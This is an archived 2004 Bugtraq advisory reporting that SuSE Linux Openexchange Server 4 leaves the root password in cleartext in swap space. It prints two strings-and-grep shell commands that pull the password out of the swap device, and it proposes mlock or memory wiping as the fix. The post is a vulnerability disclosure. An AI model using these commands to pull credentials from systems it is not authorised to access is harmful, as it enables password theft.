[36332] in bugtraq

home help back first fref pref prev next nref lref last post

Linux OpenExchange - cleartext rootpw in swap

daemon@ATHENA.MIT.EDU (Rene)
Tue Aug 31 14:00:19 2004

Date: 31 Aug 2004 08:11:53 -0000
Message-ID: <20040831081153.18702.qmail@www.securityfocus.com>
Content-Type: text/plain
Content-Disposition: inline
Content-Transfer-Encoding: binary
MIME-Version: 1.0
From: Rene <l0om@excluded.org>
To: bugtraq@securityfocus.com



date: 31.08.2004
author: l0om   -  l0om [at] excluded dot org - www.excluded.org
discovered in: SuSE Linux Openexchange Server 4
problem: cleartext rootpw in swap caused by fergotten "mlock" or wiping out memory


hi,

i have noticed my root password flying around on my swap in cleartext.
an attacker who has successfully rooted a box can get the cleartext password from the swap device.  

i dont know if this is caused by some SuSE mistake at the web login- maybe its a fault in openldap.
i dont know exactly where this is caused.



root:~ # strings swap -5 | grep GroupwareDBport -A 2|  grep -A 2 loginDestination
loginDestination
MYROOTCLEARTEXT_PASSWORD
--
--
loginDestination
MYROOTCLEARTEXT_PASSWORD
--
--
loginDestination
MYROOTCLEARTEXT_PASSWORD
[...]


i also had success in getting my cleartext password with

root:~ # strings swap -5 | grep /etc/postfix/main.cf -A 2
/etc/postfix/main.cf
MYROOTCLEARTEXT_PASSWORD
erfolgreich
--
/etc/postfix/main.cf
MYROOTCLEARTEXT_PASSWORD
SIEVEpor
[...]


however- such things can be prevented with wiping out the memory where the
password was stored or with using mlock.


greets @ murfie, johnny, klouw, (other google masters ;]) 
         maximilian, and the guys from excluded.org



home help back first fref pref prev next nref lref last post